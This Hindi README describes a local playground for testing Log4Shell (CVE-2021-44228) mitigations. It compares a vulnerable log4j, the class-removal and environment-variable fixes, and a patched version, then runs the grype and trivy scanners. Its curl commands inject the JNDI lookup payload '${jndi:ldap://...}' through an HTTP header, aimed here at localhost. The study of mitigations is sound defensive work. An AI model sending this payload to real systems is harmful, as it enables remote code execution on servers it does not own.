
Log4Shell (CVE-2021-44228) भेद्यता शमनों के साथ प्रयोग करने के लिए एक खेल का मैदान
यह क्रिटिकल log4j (उर्फ Log4Shell) (CVE-2021-44228) भेद्यता के शमन उपायों की जांच-पड़ताल के लिए एक खेल का मैदान है।
यह विशेष समस्या JndiLookup फीचर और log4j की एक लॉगिंग कॉल के सभी आर्गुमेंट्स की व्याख्या करने की क्षमता में निहित है।
मैं उम्मीद करूंगा कि यह केवल फ़ॉर्मेट मैसेज (लॉगिंग कॉल का पहला आर्गुमेंट) की व्याख्या करे, जैसे log.info("Hello {}", "${jndi:ldap://127.0.0.1:8081}") में Hello {}, लेकिन यह सभी की व्याख्या करता है।
शमन उपाय log4j को jndi लुकअप को ट्रिगर करने से रोकेंगे, लेकिन वे अभी भी ${java:version} जैसे अन्य लुकअप की अनुमति देते हैं।
नोट: log4j 2.16.0 (LOG4J2-3211; diff से, फ़ॉर्मेट मैसेज की अब व्याख्या नहीं की जाती।
यह भेद्यता दूरस्थ रूप से ट्रिगर की जा सकती है जब लक्ष्य एप्लिकेशन किसी भी उपयोगकर्ता द्वारा प्रदान किए गए डेटा को लॉग करता है, उदाहरण के लिए, इन सामान्य HTTP हेडर से:
AcceptCookieLocationOriginRefererUser-AgentX-Api-VersionX-Forwarded-ForX-Forwarded-HostX-Requested-Withनिर्माण:
sudo apt-get install -y openjdk-11-jdk-headless
wget https://archive.apache.org/dist/logging/log4j/2.10.0/apache-log4j-2.10.0-bin.tar.gz
wget https://archive.apache.org/dist/logging/log4j/2.16.0/apache-log4j-2.16.0-bin.tar.gz
tar xf apache-log4j-2.10.0-bin.tar.gz
tar xf apache-log4j-2.16.0-bin.tar.gz
javac -Werror -cp apache-log4j-2.10.0-bin/log4j-api-2.10.0.jar Server.java
एक कमजोर log4j संस्करण आज़माएँ:
java \
-cp apache-log4j-2.10.0-bin/log4j-api-2.10.0.jar:apache-log4j-2.10.0-bin/log4j-core-2.10.0.jar:. \
Server
curl -H 'X-Api-Version:${jndi:ldap://127.0.0.1:8081}' http://localhost:8080
curl -H 'X-Api-Version:${java:version}' http://localhost:8080
क्लासपाथ शमन से JndiLookup क्लास को हटाकर आज़माएँ:
cp apache-log4j-2.10.0-bin/log4j-core-2.10.0.jar log4j-core-2.10.0-without-jndi-lookup.jar
zip -q -d log4j-core-2.10.0-without-jndi-lookup.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
java \
-cp apache-log4j-2.10.0-bin/log4j-api-2.10.0.jar:log4j-core-2.10.0-without-jndi-lookup.jar:. \
Server
curl -H 'X-Api-Version:${jndi:ldap://127.0.0.1:8081}' http://localhost:8080
curl -H 'X-Api-Version:${java:version}' http://localhost:8080
पर्यावरण चर शमन आज़माएँ:
नोट: 2021-12-15 (लगभग log4j 2.16.0 / CVE-2021-45046 रिलीज़ दिनांक) से यह अब अनुशंसित नहीं है।
LOG4J_FORMAT_MSG_NO_LOOKUPS=true \
java \
-cp apache-log4j-2.10.0-bin/log4j-api-2.10.0.jar:apache-log4j-2.10.0-bin/log4j-core-2.10.0.jar:. \
Server
curl -H 'X-Api-Version:${jndi:ldap://127.0.0.1:8081}' http://localhost:8080
curl -H 'X-Api-Version:${java:version}' http://localhost:8080
एक गैर-कमजोर log4j संस्करण आज़माएँ:
java \
-cp apache-log4j-2.16.0-bin/log4j-api-2.16.0.jar:apache-log4j-2.16.0-bin/log4j-core-2.16.0.jar:. \
Server
curl -H 'X-Api-Version:${jndi:ldap://127.0.0.1:8081}' http://localhost:8080
curl -H 'X-Api-Version:${java:version}' http://localhost:8080
grype आज़माएँ कि क्या यह भेद्यता का पता लगाता है:
wget https://github.com/anchore/grype/releases/download/v0.27.2/grype_0.27.2_linux_amd64.tar.gz
tar xf grype_0.27.2_linux_amd64.tar.gz grype
./grype dir:.
trivy आज़माएँ कि क्या यह भेद्यता का पता लगाता है:
wget https://github.com/aquasecurity/trivy/releases/download/v0.21.2/trivy_0.21.2_Linux-64bit.tar.gz
tar xf trivy_0.21.2_Linux-64bit.tar.gz trivy
./trivy fs --security-checks vuln .